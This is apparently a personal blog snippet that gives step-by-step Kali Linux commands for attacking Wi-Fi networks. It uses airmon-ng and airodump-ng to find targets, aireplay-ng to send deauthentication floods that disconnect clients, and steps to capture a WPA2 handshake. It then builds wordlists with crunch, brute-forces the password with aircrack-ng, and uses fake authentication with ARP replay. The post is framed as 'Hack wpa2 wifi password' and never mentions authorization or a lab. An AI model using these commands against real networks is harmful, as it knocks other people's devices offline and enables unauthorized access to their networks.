Developer Snippet Diary

deauth packets Using Kali Linux

deauth packets Using Kali Linux

  • #iwconfig //check interfaces
  • #airmon-ng start wlan0 //enable moniter mode
  • #airodump-ng wlan0mon //find all nears wifi routers
  • #airodump-ng -c 6 --bssid A0-B3-CC-D4-E3 wlan0mon //select an router
  • #aireplay-ng -0 0 -a A0-B3-CC-D4-E3 wlan0mon //send deauth packets to all stations -0 0
  • #aireplay-ng -0 0 -a A0-B3-CC-D4-E3 -c 10-c3-AA-A4-B3 //send deauth to 10-c3-AA-A4-B3 station only
sudo airodump-ng -c [channel] --bssid [BSSID] -w [filename] wlan0

bssid: Router mac address , station: that is connected with router , beacons: packets sended by access point, pwr: signal level, ch:chanel number , MB: maximum speed of access point, ENC: encryption algorithm ,

Hack wpa2 wifi password

  • #iwconfig //check interfaces
  • #airmon-ng start wlan0 //enable moniter mode
  • #airodump-ng --bssid 10-c3-AA-A4-B3 --channel 6 --write fileHandshake wlan0mon run this in terminal 1 for handshake & open terminal 2
  • #aireplay-ng --deauth 100 -a 10-c3-AA-A4-B3 -c 10-c3-AA-A4-B3 wlan0mon Now check terminal 1, it will create handshake file else increase deauth packets
  • #crunch 3 7 abc1234 -O wordlist do this in terminal 3,it will create a wordlist of all charters ie aaa,aab,aac,....,abc1234 or
  • #crunch 7 7 -t R@@@@h+ -o wordlist create word list according to this pattern
  • #aircrack-ng fileHandshake.cap -w wordlist it will crack password using brute force,but take time.
  • what if there is no station connected with router? then connect fake with router yourself as below
  • #aireplay-ng --fakeauth 10 -a 10-c3-AA-A4-B3 -c A0-B3-CC-D4-E3 wlan0mon it connect us with router as fake
  • #aireplay-ng --arpreplay -b 10-c3-AA-A4-B3 -n A0-B3-CC-D4-E3 wlan0mon it will send packets to router
Posted by: R GONDAL
Email: rizikmw@gmail.com